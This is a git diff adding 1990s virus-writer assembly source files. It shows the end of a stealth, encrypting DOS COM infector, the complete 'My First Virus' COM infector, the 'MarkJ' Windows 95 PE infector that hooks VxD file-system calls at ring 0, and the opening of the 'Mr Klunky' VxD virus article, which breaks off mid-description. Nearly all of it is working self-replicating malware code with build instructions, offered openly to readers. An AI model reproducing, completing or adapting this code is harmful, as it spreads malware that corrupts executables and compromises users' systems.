+old_time: dw 0 +jump_add: db 0E9h + db 0,0 + db 0F2h,42h + +new_21: + cmp ax,0f242h ;Are we going resident? + je SAY_YES + cmp ax,4b00h ;Are we executing? + je exec + cmp ah,11h + je hide_size ;doing a DIR?? + cmp ah,12h + je hide_size + jmp do_old +exec: jmp exec2 +SAY_YES:mov bx,0f242h +do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21 + ret + +hide_size: + pushf + push cs + call do_old ;get the current FCB + cmp al,00h + jnz dir_error ;jump if bad FCB + + push ax + push bx + push dx + push ds + push es ;undocumented get FCB + mov ah,51h ;location + int 12h + mov es,bx ;get info from FCB + cmp bx,es:[16h] + jnz not_inf + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;get DTA + int 12h + pop ax + inc al ;Check for extended FCB + jnz normal_fcb + add bx,7h +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ;check for 2 seconds + jnz not_inf + + and byte ptr es:[bx+17h],0e0h ;subtract virus size + sub es:[bx+1dh],(vend-vstart) + sbb es:[bx+1fh],ax +not_inf:pop es + pop ds + pop dx + pop bx + pop ax +dir_error: + iret + +exec2: push ax + push bx + push cx + push dx + push ds + push es + + call infect ;Lets infect the file!! + +backup: pop es + pop ds + pop dx + pop cx + pop bx + pop ax + + jmp do_old ;go back to original load + + +infect: + mov ax,3d02h + int 12h + jc quit1 ;open the file + + + mov bx,ax + +A_open: push cs + pop ds + + mov ax,4200h + xor cx,cx + xor dx,dx ;move file pointer to begining + int 12h ;(FOR LATER MODIFICATION ONLY) + + + mov ah,3fh + mov cx,5h + mov dx,(buffer-vstart) ;load in the first 5 bytes + int 12h + jc quit1 + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an + je quit1 ;EXE + + cmp word ptr cs:[(buffer-vstart)+3],42F2h + je quit1 + ;if so then its infected + + + jmp qqqq + +quit1: jmp quit2 + + +qqqq: mov ax,5700h + int 12h + jc quit1 + + mov word ptr cs:[(old_time-vstart)],cx ;get the files time + mov word ptr cs:[(old_date-vstart)],dx ;and date + + mov ax,4202h + xor cx,cx + xor dx,dx ;put file pointer at end + int 12h + jc quit1 + + + + mov cx,ax + sub cx,3 ;write jump lenght to jump buffer + add cx,4 + mov word ptr cs:[(jump_add+1-vstart)],cx + + + + mov ah,2ch ;get random number for interrupt + int 12h ;swapping + cmp dh,03h ;don't like INT 3'S (1 byte only not 2) + jne write_key + inc dh + + +write_key: + + mov word ptr cs:[key-vstart],cx ;save encryption key + mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key + + mov si,(check-vstart) ;write from check to end + mov di,(vend-vstart) + mov cx,(vend-check) + +topper: mov al,byte ptr cs:[(si)] + cmp al,0cdh + je changeit +top2: mov byte ptr cs:[(di)],al +tor: inc si ;this "mutating routine" is kind + inc di ;messy but i'll improve it for version + loop topper ;2.0 + jmp crypt +changeit: + mov byte ptr cs:[(di)],al + inc di + inc si + dec cx + mov al,byte ptr cs:[(si)] + cmp al,21h + jne top2 + mov byte ptr cs:[(di)],dh + jmp tor + +quit: jmp quit2 + + +crypt: + + + + mov cx,(vend-check) + mov dh,byte ptr cs:[key-vstart] + mov si,(vend-vstart) +lop: mov ah,byte ptr cs:[si] + xor ah,dh ;Encrypt the code + mov byte ptr cs:[si],ah + inc si + loop lop + + + mov cx,(check-vstart) + mov ah,40h ;write decrypting routine + mov dx,(vstart-vstart) ;to file first + int 12h + jc quit + + + mov cx,(vend-check) ;write the encrypted code + mov ah,40h ; to the end of the file + mov dx,(vend-vstart) + int 12h + jc quit + + + mov ax,4200h ;move file pointer to the + xor cx,cx ;begining to write the JMP + xor dx,dx + int 12h + + + mov cx,5 + mov ah,40h ;write the JMP top the file + mov dx,(jump_add-vstart) + int 12h + + jc quit + + mov ax,5701h + mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H + inc cl ;change seconds to 2 + int 12h + + + mov ah,3eh + int 12h + + +quit2: ret + + +vend equ $ + nop + nop + +seg_a ends + end start + + +;WELL THATS IT. +If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA) diff --git a/m/MYVIR.ASM b/m/MYVIR.ASM new file mode 100755 index 0000000..6f9d33a --- /dev/null +++ b/m/MYVIR.ASM @@ -0,0 +1,187 @@ +;****************************************************************** +;* * +;* My First Virus, a simple non-overwriting COM infector * +;* * +;* by, Solomon * +;* * +;****************************************************************** + + .model tiny ; Memory model + .code ; Start Code + org 100h ; Start of COM file + +MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS + +START_VIRUS proc near ; Real start of Virus + call FIND_OFFSET + +; Calculate change in offset from host program. + +FIND_OFFSET: pop bp ; BP holds current IP + sub bp, offset FIND_OFFSET ; Calculate net change + ; Change BP to start of + ; virus code + +; Restore original bytes to the infected program. + + lea si,[bp+ORIG_START] ; Restore original 3 bytes + mov di,100h ; to 100h, start of file + push di ; Copy 3 bytes + movsw + movsb + +; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy +; original command line parameters. + + lea dx,[bp+NEW_DTA] ; Point to new DTA area + call SET_DTA ; Go change it + +; DOS Findfirst / Findnext services + + +FINDFIRST: mov ah,4eh ; DOS find first service + lea dx,[bp+COM_MASK] ; Search for any COM file + xor cx,cx ; Attribute mask +FINDNEXT: int 21h ; Call DOS to do it + jc QUIT ; Quit if there are errors + ; or no more files + +; Ok, if I am here, then I found a possible victim. Open the file and +; check it for previous infections. + + mov ax,3d00h ; DOS Open file, read only + lea dx,[bp+NEW_DTA+30] ; Point to filename we found + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Check file for previous infection by checking for our presence at +; then end of the file. + + mov ah,3fh ; DOS Read file + lea dx,[bp+ORIG_START] ; Save the original header + mov cx,3 ; Read 3 bytes + int 21h ; Call DOS to do it + mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX + mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset + add cx,END_VIRUS-START_VIRUS+3; Convert to filesize + cmp ax,cx ; Compare file size's + jnz INFECT_COM ; If healthy, go infect it + mov ah,3eh ; Otherwise close file and + int 21h ; try to find another victim + mov ah,4fh ; DOS find next file + jmp short FINDNEXT ; Find another file + +; Restore default DTA and pass control back to original program. +; Call any activation routines here. + +QUIT: mov dx,80h ; Restore original DTA + call SET_DTA ; Go change it + retn ; End Virus and start original + ; Program. Remember, DI holding + ; 100h was pushed on the stack. + +;*** Subroutine INFECT_COM *** + +INFECT_COM: + +; Reset the file attributes to normal so I can write to the file + + mov ax,4301h ; DOS change file attr + xor cx,cx ; Zero attributes + lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA + int 21h ; Call DOS to do it + +; Calculate jump offset for header of victim so it will run virus first. + + mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX + sub ax,3 ; Subtract 3, size-jmp_code + mov word ptr [bp+JMP_OFFSET],ax ; Store new offset + +; Close the file and reopen it for read/write. BX still holds file handle. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + mov ax,3d02h ; DOS open file, read/write + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Write the new header at the beginning of the file. + + mov ah,40h ; DOS write to file + mov cx,3 ; Write 3 bytes + lea dx,[bp+HEADER] ; Point to the 3 bytes to write + int 21h ; Call DOS to do it + +; Move to end of file so I can append the virus to it. + + mov al,2 ; Select end of file + call FILE_PTR ; Go to end of file + +; Append the virus to the end of the file. + + mov ah,40h ; DOS write to file + mov cx,END_VIRUS-START_VIRUS ; Length of virus + lea dx,[bp+START_VIRUS] ; Start from beginning of virus + int 21h ; Call DOS to do it + +; Restore the file's original timestamp and datestamp. These values were +; stored in the DTA by the Findfirst / Findnext services. + + mov ax,5701h ; DOS set file date & time + mov cx,word ptr [bp+NEW_DTA+22] ; Set time + mov dx,word ptr [bp+NEW_DTA+24] ; Set date + int 21h ; Call DOS to do it + +; Restore original file attributes. + + mov ax,4301h ; DOS change file attr + mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr + lea dx,[bp+NEW_DTA+30] ; Point to file name + int 21h ; Call DOS + +; Lastly, close the file and go back to main program. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + jmp QUIT ; We're done + +;*** Subroutine SET_DTA *** + +SET_DTA proc near + mov ah,1ah ; DOS set DTA + int 21h ; Call DOS to do it + retn ; Return +SET_DTA endp + + +;*** Subroutine FILE_PTR *** + + +FILE_PTR proc near + mov ah,42h ; DOS set read/write pointer + xor cx,cx ; Set offset move to zero + cwd ; Equivalent to xor dx,dx + int 21h ; Call DOS to do it + retn ; Return +FILE_PTR endp + + + +; This area will hold all variables to be encrypted + +COM_MASK db '*.com',0 ; COM file mask + +ORIG_START db 0cdh,20h,0 ; Header for infected file + +HEADER db 0e9h ; Jmp command for new header + +START_VIRUS endp + +END_VIRUS equ $ ; Mark end of virus code + +; This data area is a scratch area and is not included in virus code. + +JMP_OFFSET dw ? ; Jump offset for new header +NEW_DTA db 43 dup(?) ; New DTA location + + end MAIN diff --git a/m/Markj.asm b/m/Markj.asm new file mode 100755 index 0000000..1dd3ff4 --- /dev/null +++ b/m/Markj.asm @@ -0,0 +1,650 @@ +; +; MarkJ, by Murkry/IkX +; +; +; +; Well this idea was very klunky (;) hi dv8) until I received and +; dissassembled the F---- harry 3 virus. There I found that you could hook +; VxD functions (yay) using the QG manuver. Well this made this virus easier, +; the main difference between QG's are this is larger and requires a section +; to be added the host; this is due to the method in how it gets tsr space its +; section header is set to Virtual address c0000000 - 400000 (bfc00000) +; which makes this section loaded at C0000000 an "unused" area in sharedVxD +; memory this method will also work with the shared memory at 70000000 this +; method will leave that 1000h area in memory even after the orginal program +; is ended ;)) +; (*added now b0z0 has already used this in one of his new viruses I am glad +; to see*) +; As for the QG manuever well see his source code for more info but basically +; he uses a fixed location to find the vmm Device Descriptor Block in memory, +; then finds the schedule Global event entry point well you save this address +; and replace it with a pointer to your code which will then be at the ring0 +; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky +; and then repair the Global Event call and your set. Yeah i know thats +; confusing read the code and figure it out you will learn more and feel better +; about yourself :) +; Problems to overcome: +; well VxDcalls are coded in this fashion +; int 20h +; dd 00400032 ; vxd vxdfunction +; which is replaced with +; call [vxdfunction address] +; after the first time it is executed so the code can no longer be simply +; added to the host, QG fixed this by "patching" all these Dynalinks back to +; the int 20.... in Fharry, but he leaves the last one that is called at the +; final write to file which is converted to the call[...] b4 the write to file +; so this leaves one entry that is not patched Well this is sorta easy to fix +; in a number of methods I am choosing the easiest way which is to copy the +; code b4 the dynalink occur to an another location and when I write that copy +; of the code to the new host, another method would be to create the int 20's +; in a dynamic manner the first time this method might be nice for a mutating +; form of this type of virus as you can see VX technology is unlimited in what +; there is to explore in the Win95 enviroment. +; hmm oh yeah the virus has a small payload on the 25th of june it will +; display a VWin32_SysErrorBox wishing Mark j a happy bday :) +; For those who wonder MarkJ is my friend's son, who is the one who show me +; the wonderful world of Virii; JHB yea he is around! +; I know that since I show this to b0z0 he has taken this idea cleaned it up +; added new ideas so for some code that is more robust check out his article's +; +; +; +; Murkry + + +.Radix 16 + +.386 +;some restrictions +;I do not alter the Virtual address of the new section so the +; host host must load at a base address of a 400000h if this is not true do +; not infect +;to try to stay as a Win95 I check for file alignment as a 200h if not again +;do not infect + +; the "new" vxd area I create wants dd 0c0000040h +;for its characerstics or it fails out strange +; now this infects pe files that are name as .com files but get this +; the infect com will not run it hangs the system???? well this is just +;for demo purposes, rename the infected file to *.exe and it will work :) +;and lastly I did not add some check to insure that section directory has +;enough room in it ;) I leave these problems for the student to fix +; +; unlike most vxd's virii this requires Tasm and a debug script that sets the +; characterisics of the .DATA to 0c0000040h all set ;) +;but does not need special .lib's or the infamous ddk ;) +;while i have access to it I prefer to make my files without such things +;that way I can use Tasm and not Masm +; +;Well Virii eXplorers I hope this is an acceptable offering ;) +;thanks to QuantumG, DV8 for source and EXE's that help complete this +; +;Murkry 8/21/97 + +; Compiling: +; tasm32 /ml /m3 markj,,; +; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib, +; And then just make the DATA area to be loaded at BFC00000h with a hex editor + +LoadAt equ 0c0000000h +PeHeader equ offset Buffer - offset markj + LoadAt +.model flat + +extrn ExitProcess:PROC +extrn AddAtomA:PROC +;this is just the data area that I am using to build the code that will +;go in the 0c0000000h area the start of the host will be in the .code +; and in a real infection it will execute from the section dir.. +.data ;the data area +markj: + +;first thing find the VMM uses a fixed location here +;yea this is just a modfied form of fuck harry by QG but +;why not +;maybe its possible to just scan for 'VMM ' +;From 0C0010000 ? + +StartOfVirus: + ;ok first thing copy the virus to the end of our work and data error + ;this way we have an ucorrupted version + mov esi, LoadAt + mov edi,offset DummyCode - Offset StartOfVirus + LoadAt + mov Ecx,offset EndVirus - Offset StartOfVirus + rep movsb + + mov eax,0C000157Fh ;pointer to one location??? + mov ebx,[eax] ;of the VMM dbb + cmp dword ptr [ebx+0C],0204D4D56h ;'VMM ' + jne ErrorExit ;if not here get out + + mov ebx,[ebx+30h] + ;find the Service table for th vmm + ;now load the call_global_event address (I think) + ;I have read the source to Fharry and I was right :) + ;Sorta hook this Services + lea eax,[ebx+3Ch] + + ;Store this value to restore it later + mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax + ; 0c000e384h + + mov eax,[eax] + + mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax + ; 402066 + lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt] + ;hook the code + mov [ebx+3Ch],eax ;New Location of our Handler + +;Ok we should be set to return to the host + +ErrorExit: + +RetToHost: + inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt] + + Ret + +;---------------------------------------------------------- +;In Dos we would now be in the int Handler +; Here we are now in Ring 0 and are part of the VxD land ;) +; this is where we finish the QG manuever by hooking HookFSD + +NewHandler: + pushad + + + ;restore the global event hook + mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt] + + ;mov [00000000],eax + db 0A3h +OrgIfsEntry dd 0 + + mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs + call CallIFSHook + + popad +;--------------------------------------------------------- + +; jmp 0028:00000000 + db 0eah +VxDOff dd 0401000h +VxDSeg: dw 0137h +;--------------------------------------------------------------- + +VVxdCall1: +CallIFSHook: + + lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt] + push edx + push eax + +;this is sorta like hooking every int21 that handle file access in DOS +;This will add a FS hook now whenever a FSD is Called this will be called +;first +;Call +;Tos = New Fsd Address to Install +;return +;EAX = Last FShook +ApiHook: ;4020dd + int 20h +V1: +APIHOOKVXD dd 00400067h + ; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */ + ; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67 + + add esp,00000004 ;like a pop changes no regs but esp + ;some VxD's routines + ;do not clean up after themselves + ;Sometimes check docs for specs :)) + + pop edx ; restore Edx + ;Save the old FSHook so we can chain to it + mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax + +;A little payload here if its the 6/25 then display the B-day mess +;just using the VMM Exec_VxD_Int to get the System date +;To be honest I could not find an easier way to do this!!! +;there are some VxD that give time and date but the date is how many +; seconds(I think) from some date in the 1980's this is easier and +; shows that accessing int 21 is still possible infact if QG is hooking the +; the GlobalEvent from the VMM it should be possible to hook the int21 +; hanlder in a similiar fashion then some creative coding could make the +; Dos tsr and the VxD code very similiar.... +; check for 6/25 if its the date show the message and set the flag +; + + mov eax,00002A00h ;get system date + push dword ptr 21h + int 20h +V2 dd 0001008fh + + cmp dx,0619 + ;6/25 in hex for those decimal heads ;) + jne ForGetIt + + + ;this shows how one might use the VWin32_SysErrorBox +;To display a little message justing saying Hi to JHB's son who is the +; happy (?) reason jhb is not coding as much any more I should add he +;did help with alot of this code + mov ebx, LoadAt + add ebx, offset EBox - offset markj + int 20h +V3 dd 002a001ah + + +ForGetIt: + + ret +;---------------------------------------------------- +;all right we have "legal" hook into a FSD and the rest is the +;just the infection routine +NewFShook: + push ebp + mov ebp,esp + sub esp,00000020 + +;------------------------------------------------------- +;Relative EBP this is what was passed I hope DV8 does not mind me +; using his docs to define this stuff +;00 - ebp +;04 - address of caller +;08 - adress of FSD Function +;0c - Function ID +;10 - drive +;14 - Type of Resource +;18 - Code Page +;1C - Pointer to IOREQ record +; 00 dw Lenght if user Buffer +; 02 db status Flag +; 03 db requests' user Id +; 04 dw file handle's System File number +; 06 dw Process ID +; there is more I will copy or add as needed + + push ebx + push esi + push edi + + ; mov edi,00000000 +; db 0bfh ;this gets us so edi points to our +;VirriOffVxD dd LoadAt ;loc in memory + +; Use this flag so we are not reentrant + + cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01 + je letOrginal +;Win95 always opens the file b4 running it so this checks and lets us +;check if it is opened + cmp dword ptr [ebp+0Ch],00000024h + jne letOrginal + +;ok set our flag + mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01 + pushad + + lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt] + + mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ + cmp al,0FFh + je NoNeedDriveLetter + + + add al,40h ;this creates the c: + mov [esi],al ; + inc esi ;takes 1 byte + mov byte ptr [esi],':' ; + inc esi ;takes two bytes + +NoNeedDriveLetter: + + xor eax,eax + push eax ;character set + + mov eax,000000FF ;max size of output buffer + push eax ; + + mov ebx,[ebp+1Ch] ;??? copies from Mr k and + mov eax,[ebx+0Ch] ;Fharry virus it seems to + add eax,00000004 ;to get the input file name + push eax ; which is in unicode + + mov eax,esi ;where we want the output + push eax ; + +UniToBcs: ;ok do it + int 20h + dd 00400041h + ;IFSMgr_Service UniToBCSPath + add esp, 4*4 ;need to clean up the stack + ; dword size * how many push + ;(paremeters) + add esi,eax + mov byte ptr [esi],00 + cmp dword ptr [esi - 4],"MOC." +; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect + ;proper files ;> + jne ExitVVxD +;could add the get and save attributes stuff here as a Xercise for the student + + mov Eax,0000D500h ;create/open file + xor ecx,ecx + lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt] + mov ebx,2 ;flags + mov edx,1 + + call VxDIFS ;decide to combine this call + ;int 20 + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + jb ExitVVxD ;error opening the file + mov ebx,eax ;file handle + +;Read File open with read write d6 +;3c is the location of the dword pter to the PE/NE part + + mov ecx,00000004 ;how much + mov edx, 03Ch ;where to read from + mov eax,0000D600h ;read from file + lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt] + ;where to read to + + call VxDIFS + ;int 20h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + mov ecx,400h + mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + ;use as a pointer + mov eax,0000D600h + lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt] + ;where to read to + + call VxDIFS + ;int 20h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO 32 + ;check for the PE +;Read in the first 1k of info from the PE header on + cmp dword ptr [esi],00004550h ;00,'EP' + jne CloseFile + +;Alright!! its a PE file now check if infected +;use the user defined 2 words at 44h = Murk +;figure file size +;figure amout to add +;fix header and write end and then write header +;all offsets should be off the offset Buffer - offset markj + LoadAt +; called PeHeader + +;Lets do some checks if any fail get out + + cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define + je CloseFile +;Well not infected with MarkJ1 virus + + cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image + jne CloseFile +;for this example we only want the base image to be 400000h + + cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment + jne CloseFile +;and lastly check the file alignment if 200 we are set + + + xor eax,eax + mov ax,word ptr ds:[PeHeader + 6] ;how many sections + mov ecx,28h ;section size + mul ecx + + mov edi,eax ;New Section Entry + add edi,PeHeader + 0f8h ;add Pe header size + + push edi ;location in PeHeader of new section header + + mov esi, offset SectName - offset markj + LoadAt + mov ecx, offset EndVirus - offset SectName + rep movsb + + pop edi + +;get file size + mov eax,0d800h ;get file size + + call VxDIFS + ; int 20h + ; dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + ;jc for error + + mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax + + push eax ;save the size + pop edx ;get it in edx + push edx ;save again + add eax,0200h + shr eax,09h ;make it the 200h size + shl eax,09h ; + + pop ecx + sub eax,ecx + xchg eax,ecx + +;Extend the file to a 200 file alignment + + cmp ecx,0200h + jz AtAlignment + add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx + + mov eax,0000d601h ;write to file + mov esi,0c0000000h + call VxDIFS + ;int 20h + ;dd 00400032h ;edx is telling us where to write to in the file +AtAlignment: + + mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt] + mov dword ptr ds:[edi + 14h ],edx + + mov ecx,offset EndVirus - offset StartOfVirus + mov eax,0000d601h ;write to file + mov esi,offset DummyCode - Offset StartOfVirus + LoadAt + call VxDIFS + ;int 20h + ;dd 00400032h ;edx is telling us where to write to + +;ok fix the header and write it back +;fix marker + mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define +;fix Eip + mov eax,edi + sub eax,PeHeader + add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + add eax,28h ;<----NewEip + mov dword ptr ds:[edi + 28h + 1],eax + push eax ;save the new eip + + mov eax,dword ptr ds:[PeHeader + 28] + mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax + + pop eax + mov dword ptr ds:[PeHeader + 28],eax ;set the new eip + + +;fix section count + inc word ptr ds:[PeHeader + 6] + + mov ecx,400h + mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt] + ;use as a pointer + lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt] + ;where to read to + mov eax,0000d601h ;write to file + call VxDIFS + ; int 20h + ; dd 00400032h ;edx is telling us where to write to + + +CloseFile: + mov eax,0000d700h + + call VxDIFS + ;int 20h ;402500h + ;dd 00400032h + ;IFSMgr_Service IFSMgr_Ring0_FileIO + + + +ExitVVxD: + Popad +;Restore our flag so we can infect the next file + mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0 + +letOrginal: + + mov eax,[ebp+1CH] ;040250eh + push eax + mov eax,[ebp+18H] + push eax + mov eax,[ebp+14H] + push eax + mov eax,[ebp+10H] + push eax + mov eax,[ebp+0CH] + push eax + mov eax,[ebp+08H] + push eax + + ;mov eax,00000000 + db 0b8h +OldFSD dd 0 + call [eax] + + add esp,00000018 + pop edi + pop esi + pop ebx + leave ;402533h + ret + +;******************************************** +VxDIFS: + int 20h ;402500h + dd 00400032h + ret + +;******************************************** + +MFlag db ? +Flag1 db ? + +EBox dd ? +butt1 dw 0 +butt2 dw 8001 +butt3 dw 0 +TitleOff dd offset TitleEB - offset markj +0c0000000h +TextOff dd offset TextEB - offset markj +0c0000000h + +TitleEB db 'Happy Birth Day to Mark J ',0 +TextEB db 'From Murkry',0 + +;----------------------------------------------------------- + +SectName db "MarkJ_I " +Physadd dd offset EndVirus - offset StartOfVirus +VirtualAdd dd 0c0000000h - 400000h ;bfc00000 +SizeRawData dd offset EndVirus - offset StartOfVirus +PntrRawData dd 0 ;will be set at infection +PnterReloc dd ? +PnterLine dd ? + dw ? + dw ? +Character dd 0c0000040h + + ;sub eax, offset HOST - 400000h + db 2dh +NewEipRva dd offset HOST - 400000h + + cmp eax,400000h + jne GetOut + cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0 + jne GetOut + + ;EAX ;current base address + pushad + call DoNothing +DoNothing: + pop eax + add eax,0bh + push eax + push 0c0000000h + ret +Here: + popad + +GetOut: + + ;add eax, offset return - 400000h + db 05h +OldEipRva dd offset return - 400000h + + jmp eax +;---------------------------------------------------------------- + + + +EndVirus: +FileName db 100 dup(00) ;holds the file name + + +PEPtr dd 0 +FileSize dd 0 +Buffer db 400h dup(00) + +CheckTsr db 00 + +DummyCode: + +;-------------------------------------------------------------------- +.code ;executable code starts here + +HOST: + ;sub eax, offset HOST - 400000h + db 2dh +NewEipRva1 dd offset HOST - 400000h + + cmp eax,400000h + jne GetOut1 + cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0 + jne GetOut1 + + ;EAX ;current base address + pushad + call DoNothing1 +DoNothing1: + pop eax + add eax,0bh + push eax + push 0c0000000h + ret +Here1: + popad + +GetOut1: + + ;add eax, offset return - 400000h + db 05h +OldEipRva1 dd offset return - 400000h + + jmp eax +;-------------------------------------------------- + +return: + push LARGE -1 + call ExitProcess + + end HOST diff --git a/m/MrKlunky.asm b/m/MrKlunky.asm new file mode 100755 index 0000000..9864f5b --- /dev/null +++ b/m/MrKlunky.asm @@ -0,0 +1,2382 @@ +Insane Reality issue #8 - (c)opyright 1996 Immortal Riot/Genesis - REALITY.022 + +Article: Mr Klunky +Author: DV8 [IRG] + +% Mr Klunky virus by DV8 [IRG] % +________________________________ + +IRG are proud to bring you the worlds first fully Windows '95 compatible +virus. It is not version specific, and is also the worlds first Windows '95 +TSR virus. It is a fast infector of Win95 PE and DLL files, and creates its +own VxD (Virtual Driver). + +It should be noted that this is an accademic/educational version. It's sole +purpose is to teach people its methods, so all 'in the wild' features have +been REMOVED. + +It should also be noted that MASM 6.11 was used to compile this. You can't +use TASM and you'll need the Win95 DDK include files. Since (like all of +Microsofts products) MASM works like a programmers April Fools' joke, the +binary is around 7K even though the virus only has 3K of code. The rest is +null data (go look at the debug script at the end of this article). DV8 +didn't have time to write an LE stripper, so we'll have to live with it for +the time being. + +Files Included: MRKLUNKY.ASM + MRKLUNKY.DEF + MAKEFILE + MRKLUNKY.SCR creates - LOAD-MRK.COM + - UNLD-MRK.COM + - MRKLUNKY.VXD + +- _Sepultura_ + +;=[BEGIN MRKLUNKY.ASM]======================================================= + +Comment @ + Ŀ + + o o oo ooo o o + ooo ooo ooo oo oo oo + ooo ooo oo oo ooo ooo + oooo oooo oo oo oo oo + oo ooo oo o oo oo oo oo oooo ooo ooo ooo oo oooo ooo oo + oo o oo ooooooo oo oo oo oo ooo ooo ooooo oo oo oo ooo + oo oo ooo o oooo oo oo oo oooo oo ooo oo oo oo + oo oo oo oo oo oo oo oo ooo oo ooooo oo oo + oo oo oo oo oo oo oo oo oo oo oo oo oo oo + oo oo oo oo oo oo oo oo oo oo oo oo oo oo + oo oo oo oo oo oo oo oo oo oo oo oo oo oo + oo oo oo oo oo oo oooooo oo oo oo oo oooooo + oooo oooo oooo oooo ooo oooo ooo oo oooo oooo oooo oooo ooooo + oo + oo + o b y oo + oo oo + ooo D V 8 oo + oo oo + oo o f oo + oo oo + oo I m m o r t a l R i o t / G e n e s i s oo + oo oo + oo oo + oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo + oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo + + ͵ + + + Dedicated (by an old Smurfophiliac) to smurfs + + everywhere, particularly Smurfette... + + Mmmmmm.. What a babe! + + + ͵ + + Versions o Depends on which way you compile it... + 1.00 - PE EXE infection. + 1.01 - PE EXE infection in debug mode (published version). + 1.02 - PE EXE/DLL infection. + 1.03 - PE EXE/DLL infection in debug mode. + + Alias o Mr K, MrK and anything else the AV come up with ;] + + Origin o Australia. + + Release Date o Friday the 13th of December 1996. + + Platform o PC running Windows 95. + + Type o Resident fast PE infector, infects Windows 95 boot + process. + + Targets o .EXE (or .DLL) files of the PE type. + + Size o Depends on which version you have. + o Version 1.00 + Infected EXE/DLL files increase in size by 7791 bytes. + Driver (VxD) file size is 6631 bytes. + o Version 1.01 + Infected EXE/DLL files increase in size by 7939 bytes. + Driver (VxD) file size is 6779 bytes. + o Version 1.02 + Infected EXE/DLL files increase in size by 7799 bytes. + Driver (VxD) file size is 6639 bytes. + o Version 1.03 + Infected EXE/DLL files increase in size by 7951 bytes. + Driver (VxD) file size is 6791 bytes. + o The "real" size of the actual code is approx 3KB. The rest + of the size is mostly blank space, thanks to MASM (yech)! + + Payload o None. + + Features o Infects all eligible files opened for any reason. + o Saves, bypasses and restores file attributes. + o Fully compliant Windows 95 approach, which should + guarantee compatability with future Windows 95 upgrades + (with the exception of the following item). + o Reliably and compatably locates the entry point for needed + KERNEL32.DLL functions, regardless of Windows 95 version. + This allows needed system functions to be called at need. + o Creates a driver (VxD) file and adds an entry to the + registry so that it is loaded whenever Windows 95 starts + (thus infecting the Win 95 "boot" process). + o Correctly locates the actual windows and/or system + directories. + o Uses dynamic memory allocation, reducing various system + footprints dramatically. + o Passes control to origional host with all registers clean + and environment preserved. + o No polymorphism. + o No encryption. + o No retrovirus functionality. + o No anti-heusitic stuff. + o No stealth. + o No tunnelling type stuff. + o No code armouring. + + Compiling o MASM 6.11 (you'll need the Windows 95 DDK .INC files too). + Ignore the compile errors. + + Installation o Just run LOAD.EXE from a DOS shell inside Win 95. + + Removal o Reboot infected PC. + o Press at the "Starting Windows 95..." + o Select the "Command Prompt Only" option. + o Delete all infected files (if you ran a debug verison of + Mr Klunky C:\LOG.LOG will contain a list of all infected + file). + o Restore all standard DOS 8.3 named files in the C:\WINDOWS + and C:\WINDOWS\SYSTEM directories. + o Boot into Windows 95 (you will get an error about the VxD + Mr Klunky uses being missing, ignore this). + o Restore all missing files (you _DID_ make a backup didn't + you?!). + o Run REGEDIT.EXE and do a search for a key called + "MrKlunky" and delete it. + + Scanning o Well... Any signature scanner will be able to spot it + after it is next updated. + o Any self checking PE file will spot it. + o Any integrity checker will spot it. + o Hey! This is an educational version! WTF did you expect + from it!!! + + Side effects o Nothing important I know of... MS would need to make some + pretty fundamental OS changes in 